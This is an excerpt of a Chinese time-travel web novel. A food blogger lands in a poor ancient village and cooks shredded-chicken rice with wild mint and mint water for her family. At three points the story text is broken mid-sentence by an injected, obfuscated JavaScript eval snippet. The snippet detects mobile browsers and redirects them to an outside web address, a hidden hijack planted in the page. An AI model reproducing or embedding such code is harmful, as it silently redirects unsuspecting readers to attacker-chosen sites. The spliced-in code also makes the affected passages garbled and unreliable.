《姜芽的古代干饭日记》 1. 鸡肉烂饭（一） “你说啊，家里就本来就没几只鸡了，你跟我置气就置气，你杀鸡是做什么！”一个妇人的声音从屋外传来，还带着些哭腔。仔细些听还能听出来她的拳头打在另一个人身上的声音。 紧接着是男人委屈的辩解：“什么叫我杀的鸡？要不是你和我吵架还推搡我，我怎么会把背篓扔下去砸到鸡？” 屋外的争吵从漏着风的墙里传了进来，姜芽躺在吱呀作响的木板床上，抬头看着漏了两个洞的屋顶，狠狠地叹了口气。 掰着手指数的话，这是她穿越到这个地方的第六天了。 六天，听起来也不算长，刚好和她月休四天的工作日一样长，按理来说，第七天该是休息日了，可她在这的第七天，就撞上家里的鸡横遭不测，被天降装满东西的背篓给砸死了。 那天她自己给自己做了一顿野生菌子炒饭，吃完之后感觉晕乎乎的，恍惚中看到自己的电视机在对着自己跳舞，养的狗在对着自己唱歌，就连她在家里养的仙人掌，也在家里骑上了摩托车。 “坏了，菌子中毒了”她刚这样想，就失去了意识，再醒过来的时候，就躺在了这连床像样被褥都没有的破屋里。 她穿越到一个不知道什么朝代叫做波罗村的地方，这村子并不富裕，而她家，是这个并不富裕的村里数一数二穷的人家。 原主也叫姜芽，外面吵架的两个人是她的大哥和大嫂，家中还有她的爹娘，二哥二嫂，三哥三嫂。 一大家子挤在三间漏风的土坯房里，穷得叮当响。 身为家中的小女儿，也是村里的“大龄剩女”，姜芽花了几天的时间才慢慢的接受了自己穿越到这个地方的事实。 外面的争吵声越来越大，大嫂的哭声也越来越急。 姜芽猛的从床上坐起来，背挺的直直的，睡了太久，眼前晃着圈圈黑晕，她扶着墙缓了好一会儿，才推开那扇半掩的木门。 大哥大嫂的争吵声顿时停了下来，二人齐刷刷的转头看她。 “芽芽醒了？头还疼不疼？脸怎么还是这么白？”大嫂王迎春抹了一把脸上的眼泪，顺便瞪了一眼低矮的围墙外围观的邻居，快步走过来牵着姜芽的手看她的脸色有没有见好。 大哥姜文兴也一同过来，关切的问：“怎么样了，早说带你找大夫，你偏不去，你说你这一天一天的躺着，躺傻了可怎么办？” 这家人虽然穷，但对姜芽也是好的，前阵子镇上有地主想花五十两买她做小妾，大哥二哥抄起锄头就把人打跑了。 姜芽在小院中看了看，墙角果然躺着一只没了动静的鸡。 她这六天净喝粥啃红薯，嘴里早就淡出鸟了，此刻看见这只鸡，喉咙忍不住动了动，哑着嗓子问：“哥，嫂，这鸡……能拿去换钱不？” 一说起这个，王迎春的眼泪又止不住了：“换什么钱哟！鸡死了就换不了钱了，人家也不知道这是不是病死的鸡，谁敢买？芽芽，你说说你大哥，他非跟我争个什么？要是不争那几句嘴，这鸡是不是也不会死？” 姜文兴本来张嘴还想说上几句，但看到自己妻子一直流的眼泪，还是叹了口气，耷拉着脑袋不说话了。 姜芽伸手将王迎春脸上的泪擦了去，指着那只鸡说：“所以啊，你们再吵这只鸡也活不了了，鸡不是病鸡我们自己知道，那不如就把鸡自己吃了。” 江文兴和王迎春对视了一眼，都有些犹豫，王迎春攥着裙角：“可是这不年不节的……要不还是等爹娘他们从地里回来，商量商量？” 姜芽自打穿越过来，一点点肉都没有吃到过，在听到鸡死了的这段半个小时里，她甚至已经想好了要怎么将这只鸡烹饪好了。 是的，她之前虽然是只个打工的普通牛马，但是还有一个最大的爱好——做饭。 在看了无数短视频之后，她觉得自己也能在自媒体时代里吃上一碗饭，于是在工作之余，也成为了一个自媒体美食博主。 只是她还没在自己的账号里看到任何收益，就因为一晚菌子炒饭，穿越到了这个地方。 她撸撸袖子走上前，将鸡拎在手里：“别等啦，咱们现在开始做，等爹娘他们回来了，正好能吃上。” 姜文兴捏捏拳头，像是下了决心：“行！那这鸡我现在就去把它炖了？” 炖了？姜芽摇摇头：“我给你们做一个鸡肉烂饭。” “鸡肉烂饭？”江文兴和王迎春齐声问。 王银春虽是从没听说过这个食物，但还是耐心问：“这鸡肉烂饭是个什么东西？烂了的东西还能吃吗？芽芽……你在床上躺着的这些天，真没什么事吗？是不是还有哪里不舒服？” 江文兴也附和道：“你嫂子说的对，要是你有哪里不舒服尽管跟我们说，别怕家里没钱，哥就是砸锅卖铁也带你找大夫把病治好！” 姜芽一开始对这个环境其实不甚满意，可这几天这家人对她的关心她都看在眼里，只能告诉自己既来之则安之，正好也不用过那天天加班，回家还要做饭剪视频的日子了。 她把手中的死鸡拿起来晃了晃：“鸡肉烂饭就是……哎呀，我也不知道怎么解释，它不是烂掉的东西，等我做好了你们就知道这饭有多好吃了！” 说着她将鸡递到江文兴手中：“大哥，帮我把这鸡好好洗一洗，我去烧水。” 江文兴拎着鸡，看着自己的这个小妹，觉得她躺了这几日之后，好像哪里有些不一样了。 虽然疑惑，但他还是去处理死鸡了，反正待会爹娘回来也免不了一顿骂，不如就将这鸡给他们吃了，说不清还能骂的轻些。 姜芽将装水的大水缸的盖子拿来，这里的水都是去溪边挑回来的，真正的大自然的搬运工。 她拿出在厨房里翻找出来的一个黑黢黢的土锅，先是里里外外的清洗了一边，才将水舀了进去。 房梁上垂下一根木钩，姜芽将装满水的土锅挂在木钩上，锅下面是王迎春刚帮她生好的火。 这吊锅做饭的装置，姜芽还是第一次亲眼见到，之前都在视频里刷到过。 她盯着火苗，脑子里窜出了一个点子，只是不知道这个环境能不能实施。 姜文兴的动作很快，水刚沸腾起来，他就把鸡处理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368586|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的干干净净拿了进来。 “谢谢大哥！”姜芽流着口水把鸡拿过来放到挂在钩子上的土锅里，顺手还扔了几片姜进去去腥。 姜文兴看着她的一举一动，疑惑道：“芽芽，这不就是炖鸡吗？鸡肉烂饭又是从何而来？” 姜芽把那缺了一个小口的锅盖盖上，把姜文兴往外推：“好了好了，大哥，赶紧去跟嫂子认个错，饭交给我就好了。” 她这话说的姜文兴脸都红了，梗着脖子道：“我凭啥跟她认错！这鸡被砸了一下就死了，所以这鸡也有责！” 姜芽扑哧一声笑了出来，这大哥，不敢找嫂子的麻烦，还要怪罪一下鸡太脆皮。 王迎春其实早就不生气了，只是家里穷，一只鸡对于他们来说也很重要。 她在厨房外听到兄妹俩的对话，倒是也偷偷笑了笑，随后就大大方方的走进了厨房，不管江文兴 “芽芽，有什么嫂子能帮你的？” 姜芽本想说不用，却突然想起来什么，猛的一拍脑门：“对了！茴香！” 江文兴和王迎春面面相觑，怎么小妹今天说的尽是他们听不懂的东西？ 江文兴挠着头问：“茴香又是何物？” 看来这个时代真没有茴香了，至少在这个偏远的村子是没有的。 姜芽飞快的想着茴香的替代品，鸡肉烂饭只放鸡肉的话可不行啊。 “大嫂，要不你带我出去看看，我这个鸡肉烂饭还需要些东西。”一时半会想不出来，她只能请王迎春带她出去找一找，看看有没有什么能代替茴香的东西。 王迎春点头：“走，正好这让你哥看着，别把锅烧干了。” 说着就拉着姜芽往外走，还不忘回头叮嘱，“文兴，你可得看好了！要是把鸡煮糊了，爹娘回来非扒你一层皮不可！” 姜文兴缩了缩脖子，赶紧蹲在火边，眼睛一眨不眨地盯着吊锅，那紧张的模样，像是锅里煮着的是什么不得了的宝贝。 姜芽挎着个菜篮子，就和王迎春挽着胳膊出去找菜了。 这是她第一次看到波罗村，前面六天由于无法接受穿越的事实，她都躺在床上说自己不舒服，除了起床上茅房，自家院子都没有踏出过一步。 虽然贫穷，但是姜家还是有几块地的，现在家中其他人就正在自家地里干活。 姜芽跟着王迎春往地里走，发现波罗村虽不富裕，但也没有想象中那么穷，两旁的土坯房错落有致，偶尔能看见几户人家的院子里种着青菜，墙角还堆着晒干的玉米杆子。 村里人都相熟，见到姜芽还招呼：“呦，几日都没见姜芽出门来了，如今是好了？” 姜芽也笑着一一回应，声音清甜：“谢谢婶子大叔，我没事了！” 她一边走一边打量，心里盘算着，这村里虽然偏远了一些，但好在有山有水，野菜野果肯定不少，以后要是想做些新奇的东西，倒是不愁这里没原料。 她抬头望着远处的青山，空气里飘着泥土和青草的清香，忽然觉得，这穿越后的日子，只要她好好经营，说不定也能过的很不错。 2. 鸡肉烂饭（二） 王迎春说是要带姜芽去地里看看有没有什么能用上的才，只是山路崎岖，他家的地又远了些。 姜芽走的磕磕绊绊，从一个小土坡往下走的时候，更是脚下一滑，哎呦一声，直接往坡下栽了下去。 幸好先下坡的王迎春眼疾手快，一把抓住她的胳膊，才没有让她脸着地，只是半跪在了地上，裤子上全是泥。 “芽芽呀，你是不是还是晕得慌，怎的走路都走不稳了。”王迎春把手中的菜篮子放到一边，两只手搀住姜芽，想把她扶起来。 姜芽却好像完全不在意自己摔了一跤，眼睛里只有小坡边长出的那一小片并不起眼的绿色植物。 那植物绿油油的，叶片上有着一层白色绒毛，顶上还有一半没开谢的紫色小花。 她小心翼翼的摘下一株，放到鼻前嗅了嗅，是熟悉的味道！ 此时她也顾不得自己本就破旧的裤腿上的泥，直接蹲到那植物面前：“大嫂！就是这个！咱们把这个摘回去！” 王银春半信半疑的摘了一株，也学着姜芽的样子放到鼻下仔细嗅了嗅：“芽芽，只要一下雨，地边就会生出许多这东西，只是从没见有人摘回去吃过，你确定这东西真能吃？” 姜芽激动的点点头：“这是野薄荷，味道清凉得很，要是平时间有个头痛或者发热，用这个泡水也能管用！” 其实王迎春还是不信，她嫁给江文兴五年了，姜芽这丫头，书都没有看过几本，怎的生了一次病再床上躺了几天，就能认识这种路边的野菜了？ 可是看着姜芽兴奋的小脸，她也不忍心泼冷水，只能和她蹲到一起，将那些野薄荷一朵一朵的摘到菜篮子中。 既然没有茴香，那就用薄荷！ 姜芽会想到用薄荷，其实也是因为以前她喜欢做茴香团子，做法也很简单，就是将茴香切的碎碎的，裹上面粉和鸡蛋放到热油里炸到酥脆。 有一次她突发奇想，用薄荷也做了一次，结果味道让她十分惊喜，甚至还专门为这个炸薄荷团子做了一期短视频，虽然只有几十个人看过，但她对自己的这一次创新还是十分满意。 所以既然薄荷能代替茴香做团子，那说不定也就能做鸡肉烂饭！ 两人采摘了半篮子野薄荷，姜芽兴冲冲的挎着篮子回家，步伐都比来时要轻快了许多。 还没走进远门，屋里的鸡香就已经飘了出来，王迎春使劲咽了咽口水：“芽芽，要不这鸡，咱们就炖了吃吧，炖的鸡咱们也爱吃。” 她是怕姜芽厨艺不精，把那鸡弄坏了，到时家里人回来看到鸡被做坏了，怕是爹娘要更生气了。 姜芽却不干，在里面默念了几遍自己短视频主页的介绍签名：“只要有食材，我就能把它们组合在一块，变成一道美味的菜。” 她拍着胸脯保证：“大嫂，你就放心吧！我把鸡肉烂饭做好你尝尝，保准你晚上做梦都是这个味！” 王迎春心里也暗暗想道：“一年到头也吃不了几次鸡，这鸡只要熟了，让我吃了，不管是什么味，晚上做梦都能梦到。” 江文兴还蹲在锅前，喉结一直在动，他也已经被煮鸡的香味勾得口水直流。 姜芽将装着野薄荷的菜篮子放到一边，找了块已经分辨不出颜色的抹布放到锅盖上，轻轻的将锅盖揭开。 鸡的香味更是直接冲着她的脸扑了过来。 她也忍不住吞咽着口水，另一只手用筷子戳了戳鸡，还没用力，筷子就轻松的没入了鸡身。 “好啦！”姜芽欢呼一声，把锅盖放到一边，小心翼翼的把那一整只鸡夹出来放到一旁的盆里。 江文兴却还眼巴巴的看着锅里的鸡汤，又看看自己刚“大病初愈”的小妹 “芽芽，这鸡汤香得很，要不哥先给你盛一碗喝了补补身子？” 可姜芽已经没了半分生病的样子，甚至已经将袖子挽到了手肘处：“不喝不喝！这鸡汤还有大用！” 她在厨房中寻出小半袋米，本想全部用了，犹豫了一下，还是只倒出来一半。 特殊时期，米还是多留着点的好，这要是一顿就吃完了，下次吃到大米饭都不知道要等到什么时候了。 淘米的时候，姜芽从没这么认真过，一颗米粒都不敢漏出去，心中暗自称赞自己也算是惜米如金的大厨姜芽了。 她将淘好的米一股脑的倒进鸡汤里，连盆子边上的几粒都没放过。 接着用勺子在锅中搅了搅，又把勺子递给江文兴。 “大哥，你就像煮粥一样搅着这锅里的米，千万别糊了底。” 鸡汤粥？姜文兴接过勺子，认真的放到锅里转着圈圈，他才不敢让这锅鸡汤饭糊了底。 姜芽则先是到厨房外面和王迎春一起把野薄荷洗的干干净净，再齐齐整整的码在菜板上，将野薄荷切的细碎。 王迎春闭着眼睛深吸一口气：“你别说，这个菜闻起来真是凉爽。” “对！我留了几株，到时给大家做薄荷水，白天去地里干活能消暑的。”一到做菜的时候，姜芽就认真得很，但还是抽空回了一句。 她将切好的野薄荷码到碗里，又把煮好的鸡拿过来放到矮桌上，和王迎春分别坐到小矮凳上。 “大嫂，你就帮我把这鸡撕成这样细细的条就好了！”姜芽扯下一块肉，放在手中，把鸡肉撕成了细长的条状，递给王迎春看。 王迎春也学着她扯下一块鸡腿肉，将肉细细的撕了下来，两个人一起撕鸡，进度倒是快了很多。 撕鸡撕了一般，姜芽去看过一次姜文兴熬的米饭，往锅中添了些盐。 姜文兴见状，用力的吸着鼻子说：“芽芽，能不能让我出去帮你嫂子撕鸡肉，这鸡汤粥着实是太香了，哥闻着实在是受不住，越闻越饿，怕待会自己一个人就把这一锅饭都吃了。” 姜芽笑着看看屋外矮凳上认真撕鸡的王迎春，推着姜文兴往外走。 “去吧去吧，记得跟大嫂说几句好话，她现在其实都不生你气了，你去哄两句就好了！” 姜文兴忙不迭的出去，坐到姜芽先前坐的凳子上，笑嘻嘻的凑在王迎春耳边不知说了些什么。 王迎春马上将身子侧到另一边，看着好像还是不想理会他，脸上却已经挂了笑。 姜芽一边搅着锅，一边看着自己哥嫂，也忍不住笑了出来。 等王迎春将撕好的鸡拿过来，姜芽接过来一股脑的倒进了锅里，又把野薄荷也一并倒了进去。 姜文兴和王迎春两口子也陪着她一同蹲在火边，等着这“鸡肉烂饭”的诞生。 直到米饭完全和鸡肉野薄荷裹在一起，煮的黏糊糊的，汤汁已经全部被米饭吸进去了，姜芽才吹着气将煮饭的锅从钩子上取了下来。 三个人凑着脑袋看着锅中的饭。 “要不，大嫂你先尝尝？” 姜芽看着王迎春看着鸡肉烂饭，眼睛都在发光，忍不住问 王迎春已经不知道是今天第几次将口中不自觉分泌的口水咽下去了。 但一年到头吃鸡的次数掰着手指都能数的清，让她先吃，她也是不敢的。 她赶紧摇头：“不了不了，爹娘他们应该马上就回来了，到时咱们一起吃。” 姜文兴听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368587|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到自家爹娘，突然想到这只鸡发生的惨案，满脑子的馋意都退了几分，不知道回来要被爹娘骂的多惨。 王迎春瞥了他一眼，伸手在他身上拍了一下：“行了，看你这怂样子，待会爹娘回来就说这鸡是我杀的！让他们骂我就是了！” 姜文兴仰着头正想说自己才不怕，就听到院外的脚步声。 “文兴！迎春！怎的回来一趟就在家里偷懒不去地里了？”说话的正是他们的爹——姜齐飞。 姜文兴和王迎春赶紧迎了迎了过去，姜芽也跟在他们屁股后面走了出去。 姜齐飞是个老实本分的人，常年在地里的风吹日晒让他的皮肤编的黝黑，手上也长满了厚厚的茧子。 他将农具往门边一放，咂着嘴说：“谁家今天杀鸡了，老远就闻到鸡香味，等芽芽好起来了，我们也杀一只给她补补身子。” 姜芽不好意思的挠挠头，喊了声：“爹，我起来了。” 姜齐飞这才把看到站在身形高大的姜文兴背后的小个子姜芽。 他哎呦一声，几步走过来：“我的芽芽哎，你看你整日整日的躺着说不舒服，也不去看大夫，你娘夜夜都担心的睡不着，如今可算是起来了，怎么样，好些了吗？” 说着又转头往后面吆喝了一嗓子：“树巧！！芽芽起来了！” 这个叫树巧的便是姜芽在这个时代的娘了。 本来还落在姜齐飞后面的浦树巧听到这声，立马快步进来，拉着姜芽左看右看，眼泪止不住地掉。 姜芽反倒是有些过意不去，自己刚穿越过来这几天实在是没办法接受这个事实，不看病也不起床，弄得家里人个个都担心她。 “娘，我没事了，哥嫂他们呢？我今天给你们做了好吃的！” 浦树巧听她声音轻快，一点没有生病的样子，才勉强笑了起来说：“就在后面呢，你看，这就来了。” 说话间，二哥姜文毅，二嫂张春兰以及三哥姜文和三嫂朱红梅都陆陆续续的进了家。 姜文毅嗓门最大，一进门就嚷嚷：“谁家炖鸡？香得我口水都要流下来了！爹，咱啥时候吃鸡？” 张春兰白了他一眼：“你整日除了吃，脑子里还能想些什么别的东西？” 三哥姜文和看了看自家妻子，没敢说话。 一看就是个妻管严。 “那个……”姜芽举起手，尴尬的笑着看着这一大家子人：“这鸡，是咱们家杀的，要不咱们边吃边说……” 姜文毅看到姜芽，先是走过来一掌拍在姜芽背上，险些将她偷吃的鸡肉烂饭都拍出来：“起来了啊芽芽，我就说嘛，咱们老姜家，哪有什么身子骨弱的人，你看，这不是好好的嘛！” 随后好像反应过来了什么，瞪大眼睛看着姜芽：“什么！鸡是咱们家杀的？？真是咱们家杀的？？真的假的？” 一家人齐齐整整的围坐在桌子旁，姜齐飞满脸心疼的看着那锅还冒着些热气的鸡肉烂饭，这鸡本来是养着过年杀的，没想到自己儿子一个不小心，倒是让全家人提前吃上了。 “你们是说，这鸡，是文兴杀的，饭是芽芽做的？” 姜文兴缩在王迎春肩膀后，声音像蚊子叫：“爹娘……都是意外，我就摔了一下背篓，谁知道这鸡是痴了还是杀了，竟不会跑，篓子里装着些玉米，一下子就给它砸死了。” 王迎春把自家男人护在身后：“爹、娘，你们要怪便怪我吧，要不是我和文兴吵架，这鸡也不会死。” 姜芽赶紧接话说：“爹娘……把这鸡做成鸡肉烂饭是我的主意，你们要不先尝尝？这饭好吃着呢！” 3. 鸡肉烂饭（三） 姜文毅本就是个直肠子，盯着桌上从没见过的鸡肉烂饭，早按捺不住了。 没等姜齐飞夫妻二人说话，就大手一挥道：“哎呀，既然鸡都死了，不吃还能怎么办，要我说，爹，也别怪大哥了，咱们先尝尝芽芽的手艺！” 姜齐飞虽然心疼鸡，但也知道姜齐飞说的有道理，只能点点头：“算了，正好芽芽也好了，就当是给她补补身子吧，文毅，给大家盛饭。” 姜文毅应了一声：“好嘞！”拿起勺子就将那软糯的饭往锅里舀。 浦树巧捧着碗，这饭虽然没见过，但光闻着这香气就知道一定很好吃，她抿了抿嘴，还是将碗放到了姜芽面前：“芽芽，你多吃点，这几日你病着，该好生吃点。” 怎么还有这种剧情！ 姜芽本来都要把自己的饭往嘴里送了，看着递到自己面前的碗，只能先放下自己的碗，将浦树巧递过来的碗又推了回去：“娘，今天饭做得多，大家都有的吃，你赶紧吃，这饭可好吃了！” 姜文毅大咧咧的扒拉了两口，惊叹道：“哎！这饭裹着鸡肉，入口即化，当真是好吃极了，还有一股……这是什么味道？” 姜芽见浦树巧还要推脱，赶紧不由分说的把碗往她嘴边送：“娘！你看二哥都说了好吃，你快尝尝，这可是我的手艺！” 浦树巧拗不过她，只好接过去吃了一口，瞬间被那鲜香味惊到，连说：“好吃！这饭我真是从未吃过！” 三嫂朱红梅也吃了一口，脸上挂满了不可思议：“芽芽，你这是用什么做的？真如你二哥说那般，除了鸡肉的香气和米饭的香气，好像还有一股清香。” 王迎春也对这鸡肉烂饭十分满意，接过话来说：“这是芽芽今天采的野菜，叫什么……野薄荷。” “野薄荷？”姜文和又往嘴里松了一口饭，咂着嘴尝着味：“咱村从没见有谁家吃过这个，芽芽又是如何知道的？” 姜芽看着全家人看在自己脸上的目光，只能嘿嘿笑着打哈哈：“先前出去干活偶然见过，我闻着这味道清香，尝了一下也无毒，就随便给它取了个名字叫野薄荷。” 姜文和哦了一声，也没多想，把剩的半碗饭递给身边的朱红梅：“你吃吧，我吃饱了。” 朱红梅瞪了他一眼：“你自己吃！我吃自己这碗就够了！” 而姜文毅已经三下五除二将自己那碗吃了个干净，连同碗底都舔了一圈，眼巴巴的看着锅里还剩的那一点点饭。 张春兰看出他的想法，赶紧在他大腿上掐了一把，低声说：“别想了，这点给爹娘吃！” 姜文毅疼得大叫，粗着嗓门说：“掐我干啥！我看看都不行？我自然是要留给爹娘吃的！” 姜齐飞看着自家二儿子，又看看锅中剩的不多的饭，要他自己吃他肯定是不舍得的，可只剩大概小半碗的量了，他一时间也不知道该分给谁。 姜芽心中暗叹一口气，想到了自己在现代吃饭时剩的菜，身上都是慢慢的负罪感。 她把土锅斜立起来，用勺子将锅底的饭粒子刮了又刮：“咱们一人再分一口！” 这确实是最公平的做法，姜文毅嘿嘿笑着说：“芽芽说的对，你们先分，剩下的我自己往锅边在刮一刮，这可一点都不能浪费！” 姜芽按照从大到小的顺序一人分了一口饭，只是没往自己碗里放，最后将锅递给了姜文毅。 王迎春看她没给自己，赶紧说：“芽芽，你自己怎么不吃，来嫂子这口给你。” 姜芽当然不好意思说自己偷摸尝过两口了，只能拍着肚皮说：“我人小，已经吃的饱饱的了，你们赶紧吃吧，我出去逛逛！” 说着不等大家说话，就低着头小跑了出去。 她甚至合理的怀疑，老天让她穿越到这个地方，是不是觉得她自媒体做的拉胯，还不如到这里来给大家改善改善伙食。 毕竟在填饱肚子都难的地方，所有人都不会考虑吃的东西口味如何。 她踢着路边的小石子，心中突然冒出了一个想法。 “我要在古代开酒楼！” 虽然这个想法现在看起来十分离谱，但勤劳就能致富，如果未来都要在这个时代生活的话，总不能一点追求都没有，天天盼着家里什么时候再砸死一只鸡让自己再做一顿鸡肉烂饭吧？ 在现代，她的努力只会让老板觉得还能再在她的身上榨取一些廉价的劳动力。 而在这里，只要努力，凭借她的手艺，迟早有一天她会拥有自己的古代饭店！ 当然，这些都是后话了，姜芽自己也知道，这不是一天两天就能做成的事情，眼下最终要的事还是把现在的日子过好，只要每顿饭都不饿着肚子，大家就已经谢天谢地了。 想着这些事情的时候，她又在路边找到了一些野薄荷，便又蹲在那摘着野薄荷，想着给家里人做一些薄荷水带到地里喝。 不知不觉，天色就已经暗了下去。 姜齐飞担心姜芽身子没好清楚，叫了姜文和出来寻她。 姜文和是三兄弟里胆子最小的，偏生又娶了个泼辣的媳妇，出门之前都要先看看朱红梅的脸色。 只是朱红梅虽然是脾气大，对姜芽也是带着些疼爱的，她推了姜文和一把：“怎的愣在这么干啥？没听到爹将你去寻芽芽，赶紧去！” 姜文和看到姜芽的时候，只见自家这个十五岁的小妹正蹲在路边摘着什么，嘴里还嘀嘀咕咕的。 “芽芽，爹让我来寻你回去。”他声音虽轻，还是把正在规划自己古代职业生涯的姜芽吓了一跳。 姜芽手里捏着一把野薄荷，另一只手拍着自己的胸口：“三哥，你真是吓死我了！” 姜文和不好意思的挠挠头：“你在想什么事想的这么出神？” 姜芽当然不可能告诉他自己准备在这里开个酒楼，要真说了，可能全家都会以为她是得了什么疯病，或者是中邪了。 她把手中的野薄荷递给姜文和：“没事，我就是在想，咱们明天吃什么。” 姜文和有些诧异的看了她一眼：“今日大哥不小心把鸡杀了咱们才能吃上这顿肉饭，明日肯定就是吃红薯土豆或者是芋头了。” 姜芽嗯嗯的应着，跟着姜文和往家走，心里面却在想着明天又能把这些土特产做出些什么名堂来。 一回到家，姜文毅就凑过来，自以为压低嗓门，实则声音还是很大的问：“芽芽，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368588|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟哥实话说，这鸡肉烂饭你是怎么想出来的？明日还能不能给二哥我再弄出点什么好吃的玩意儿？” 姜齐飞猛的一拍桌子：“文毅啊，你这每天除了吃，还能想点什么吗？怎的今天吃了鸡，明天还想再杀一只？” 姜文毅不服气的说：“爹！我只是问问芽芽还会不会做什么稀奇的东西，哪里想杀家里的鸡了！” 姜芽见状，赶紧横在这好像马上就要吵起来的父子俩中间：“爹，二哥。明天还要干活，早些休息吧，我方才又采了些野薄荷回来，明日做成薄荷水带到地里，热的时候喝上一口，舒服得很！” 毕竟是大家都宠着的小女儿，姜芽这一说话，姜文毅就喘着粗气走了出去，气呼呼的回了自己的房。 张春兰见状，也对姜齐飞说：“爹，文毅他就是这个牛性子，别跟他一般见识，天色也不早了，你和娘就早些歇下吧，我们先回房了。” 说着对屋中其他人使了个眼色，大家伙才齐齐的从屋子里退了出来。 姜芽却精神得很，完全没有一点困意。 她看到院子边堆着的红薯和芋头，还有散落在一边的土豆，突然想到了什么。 “有了！”她一拍手，吓了身边的张春兰一条。 张春兰担心的看着她，问：“你又有什么了？赶紧回房去休息吧！” 姜芽看着身边的哥嫂们，笑的神秘：“哥哥嫂嫂们，我先回去了！明天你们就等着吃好吃的吧！” 说完就蹦蹦跳跳的回了自己破败的小茅草屋，留下自己摸不着头脑的哥哥嫂嫂在院中面面相觑。 他们的这个小妹，怎么病了一场之后，变得如此的不一样了。 第二天一大早，姜芽就醒了过来，她本来不想醒这么早的，只是这古代属实是没有什么娱乐活动，就算毫无困意，躺在那小破床上瞪个几分钟的眼睛，也就睡着了。 她穿好还带着泥土的衣裳，推门出去，却发现自己其实是家里起的最晚的一个人。 家里人已经背着背篓拿着锄头准备去地里干活了。 浦树巧看到她，脸上都是温柔：“芽芽，你就别跟着去地里了，厨房里还有个红薯，你赶紧去吃了，别饿着。” 不干活？姜芽可做不到，她点点头说：“你们先去，我待会做好薄荷水就来地里找你们！” 姜文毅一听那薄荷水，马上嘿嘿嘿的笑起来：“好好好，我可以一定要尝尝这清凉解暑的薄荷水到底是什么个味道，芽芽，做好了就赶紧给我们送过来！” 姜芽眨眨眼：“放心吧二哥！使命必达！” 家中只剩姜芽一个人了。 她先是将昨天采的野薄荷仔细的清洗干净，这些野薄荷，虽然放了半天，有些叶片已经焉了下去，但只要摘了，也还算能用。 随后又把这些薄荷分别塞到已经提前准备好的水囊里，把水囊灌满水，紧紧的拧住之后，就开始用力上下摇晃。 家中除了她一共八个人，她就摇了八个水囊，像现代奶茶店摇奶茶似的，使劲上下晃。晃完一个闻一口，清香味儿扑鼻，才算满意 姜芽找了个小背篓，把水囊装进了进去，锁上门就往地里去了。 4. 老奶洋芋 幸好姜芽继承了原主的记忆，虽然走的有些磕磕绊绊，倒也还算是顺利的找到了自家的地。 只是她一看到那几块地，又忍不住叹了口气，其实家里穷，跟地有分不开的关系。 地是从老辈传下来的，而这几块地，实在是贫瘠的很。 土地贫瘠，收成就不好，收成不好，家里就穷。 她在心里再一次感叹了一下自己这次穿越条件艰苦，不知道要到什么时候才能拥有自己的小买卖。 “芽芽，这里这里！”姜文毅老远就看到了背着个小背篓的自家小妹，赶紧挥着锄头扯着嗓子让她过去。 五月的天已经有些热，一家人都弯着腰在地里播玉米种。 姜芽把背篓往地埂边一放，肩膀已经开始火辣辣的疼了。 她把几个水囊拿出来，先递到爹娘手里。 而姜文毅已经按耐不住，把手里的锄头一扔。跑过来抓起一个水囊打开就往嘴里灌，水流顺着嘴角往下淌，他也不管，抹了把嘴就嚷嚷起来 “哎！爹娘！芽芽做这个什么薄荷水还真清凉，喝两口直接从嗓子眼凉到肚脐眼了！” 姜齐飞和浦树巧听他这么说，也半信半疑的尝了尝。 浦树巧眼睛一亮，小心地把水囊收起来，语气中都是欣慰：“这薄荷水确实是比凉水要解渴得多，芽芽说的这野薄荷，咱们地边长得也不少，每日干完活采摘一些回去，就能日日都喝上这水了。” 一家人走过来围在一起坐着喝水，你一句我一句夸着薄荷水，姜芽看着热闹的场面，心里也不自觉的有了一丝暖意。 等歇够了，姜芽深知自己现在身为这个家的一份子，总不能日日不干活吃白饭，她从一旁的小麻袋里摘了一把玉米粒，撸起袖子说 “我也来一起干活！今日便让你们看看，谁才是播种大王！” 这话刚出口，就被全家人一致反对。 姜文毅是个直肠子，第一个说：“你这小胳膊小腿的，能干多少活？还播种子大王呢？不如回家好好给我们做点新奇的吃食，最好是那种没有肉也能吃出肉味来的！这样我干起活来能比上十个你！” 姜文兴也跟着点头：“就是，昨日的死鸡芽芽都能做出这么一锅子鸡肉烂饭，爹娘，就让芽芽回去吧，待会做好了给我们送来地里吃就是。” 姜文和先是看了看朱春梅，才小声说：“爹，我也同意大哥二哥说的。” 姜齐飞其实何尝不是这样想的，可又怕儿媳们有想法 要是日日都让姜芽在家里不干活，儿媳心中不满，日后吵起来也是不好的。 没成想，平日里脾气最大的朱红梅还是这个时候最为心思细腻的，她扯扯王迎春的袖子，又往张春兰的腰间拍了拍。 